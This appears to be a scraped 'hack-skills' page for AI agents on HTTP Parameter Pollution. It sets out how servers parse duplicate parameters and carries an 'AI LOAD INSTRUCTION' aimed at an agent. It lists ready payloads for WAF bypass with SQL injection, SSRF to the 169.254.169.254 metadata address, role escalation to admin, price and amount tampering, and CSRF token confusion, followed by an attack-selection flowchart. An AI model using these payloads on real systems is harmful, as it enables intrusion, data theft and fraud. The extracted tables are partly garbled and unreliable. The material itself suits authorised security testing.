Loading...
Loading...
HTTP Parameter Pollution (HPP): duplicate query/body keys parsed differently by servers, proxies, WAFs, and app frameworks. Use when filters and application layers disagree on which value wins, enabling bypass, SSRF second URL, logic abuse, or CSRF token confusion.
npx skill4agent add yaklang/hack-skills http-parameter-pollutionAI LOAD INSTRUCTION: Model the full request path: browser → CDN/WAF → reverse proxy → app framework → business code. Duplicate keys () are not an error at HTTP level; each hop may pick first, last, join, or array-ify. Test HPP when WAF and app disagree, or when internal HTTP clients rebuild query strings. 中文路由:同一参数名出现多次、或 WAF/后端技术栈不一致时,按 Section 1 矩阵选「先/后/合并」假设,再设计 Section 3 场景链。a=1&a=2
id=1&id=2
id=1&id=1%20OR%201=1
url=https://legit.example&id=https://evil.example
amount=1&amount=9999
csrf=TOKEN_A&csrf=TOKEN_B
user=alice&user=adminapplication/x-www-form-urlencoded
id=1&id=2
multipart/form-data
------boundary
Content-Disposition: form-data; name="id"
1
------boundary
Content-Disposition: form-data; name="id"
2a=1&a=2a=1&a=2a=2&a=1| Technology | Behavior | Example: |
|---|---|---|
PHP / Apache ( | Last occurrence | |
| ASP.NET / IIS | Often comma-joined (all) | |
| JSP / Tomcat (servlet param) | First occurrence | |
Python / Django ( | Last occurrence | |
Python / Flask ( | First occurrence | |
Node.js / Express ( | Array of values | |
| Perl / CGI | First occurrence | |
| Ruby / Rack (Rack::Utils) | Last occurrence | |
Go | First occurrence | |
1,22GET /api?q=safe&q=evil HTTP/1.1GET /api?id[]=1&id[]=2 HTTP/1.1GET /api?item[]=a&item=b HTTP/1.1# Literal & inside a value vs new pair — depends on decoder
param=value1%26other=value2
param=value1&other=value2GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1{"test":"user","test":"admin"}JSON.parseid=1&id=1%20UNION%20SELECT%20...url=https://allowed.cdn.example/&url=http://169.254.169.254/csrf=LEGIT&csrf=IGNORED_OR_ALTamount=1&amount=5000
quantity=1&quantity=-1
price=9.99&price=0.01| Tool | How to use |
|---|---|
| Burp Suite | Repeater: duplicate keys in raw query/body; Param Miner / extensions for hidden params; compare responses for |
| OWASP ZAP | Manual Request Editor; Automated Scan may not deeply fuzz HPP — prefer manual variants |
| Custom scripts | Build exact raw HTTP (preserve ordering) — some clients normalize duplicates |
+-------------------------+
| Duplicate param name |
| same request |
+------------+------------+
|
+------------------+------------------+
| |
+------v------+ +------v------+
| Single app | | WAF / CDN / |
| layer only | | proxy chain |
+------+------+ +------+------+
| |
+---------v---------+ +---------v---------+
| Read framework | | Map each hop: |
| docs + test | | first/last/join/ |
| a=1&a=2 vs swap | | array |
+---------+---------+ +---------+---------+
| |
+------------------+------------------+
|
+------v------+
| Pick attack |
| template |
+------+------+
|
+-----------+-----------+-----------+-----------+
| | | | |
+----v----+ +----v----+ +----v----+ +----v----+ +----v----+
| WAF vs | | SSRF | | CSRF | | Logic | | JSON |
| app | | split | | token | | numeric | | dup key |
| value | | URL | | confuse | | fields | | parsers |
+---------+ +---------+ +---------+ +---------+ +---------+